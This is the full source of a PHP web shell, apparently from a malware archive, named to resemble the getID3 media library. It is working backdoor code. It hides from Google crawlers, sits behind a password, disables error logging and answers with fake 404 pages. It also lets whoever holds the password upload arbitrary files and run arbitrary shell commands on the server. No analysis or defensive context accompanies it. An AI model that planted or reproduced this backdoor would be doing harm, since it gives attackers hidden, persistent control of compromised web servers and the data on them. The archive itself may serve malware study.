B4BY.588

: / disk1 / worms / boardtech / 2017jul16 /
Filename : getid3s.php
back
<?php
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
	header('HTTP/1.0 404 Not Found');
	exit;
}
$auth_pass = "8b578866df553bec0202a21e81dc0200";
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
function printLogin() {
	?>
	<center>
	<form method=post>
	Password: <input type=password name=pass><input type=submit value='>>'>
	</form></center>
	<?php
	exit;
}
function Ssetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        Ssetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        printLogin();
}

if(isset($_GET['v'])) {
	$action = trim($_GET['v']);
	switch($action) {
		case 'fuck':
			echo '<b>'.php_uname().'</b><br>';
			echo '<form action="" method="post" enctype="multipart/form-data" name="fuck" id="fuck">';
			echo '<input name="uploadto" type="text" size="80" value="'.getcwd().'"><br />';
			echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
			if( $_POST['_upl'] == "Upload" ) {
				if(@copy($_FILES['file']['tmp_name'], $_POST['uploadto'].'/'.$_FILES['file']['name'])) echo '<b>Upload success!</b><br>'.$_POST['uploadto']."/".$_FILES['file']['name'];
				else echo '<b>Upload failed!</b>'; 
			}
			break;
		case 'exec':
			if(isset($_GET['cmd'])) {
				$cmd = $_GET['cmd'];
				echo '<pre>';
				echo ex($cmd);
				echo '</pre>';
			} else die('No command to be executed!');
			break;
		default: 
			header("HTTP/1.0 404 Not Found");
			break;
	}
} else header("HTTP/1.0 404 Not Found");

function ex($in) {
	$out = '';
	if(function_exists('exec')) {
		@exec($in,$out);
		$out = @join("\n",$out);
	}elseif(function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	}elseif(function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	}elseif(function_exists('shell_exec')) $out = shell_exec($in);
	elseif(is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}
?>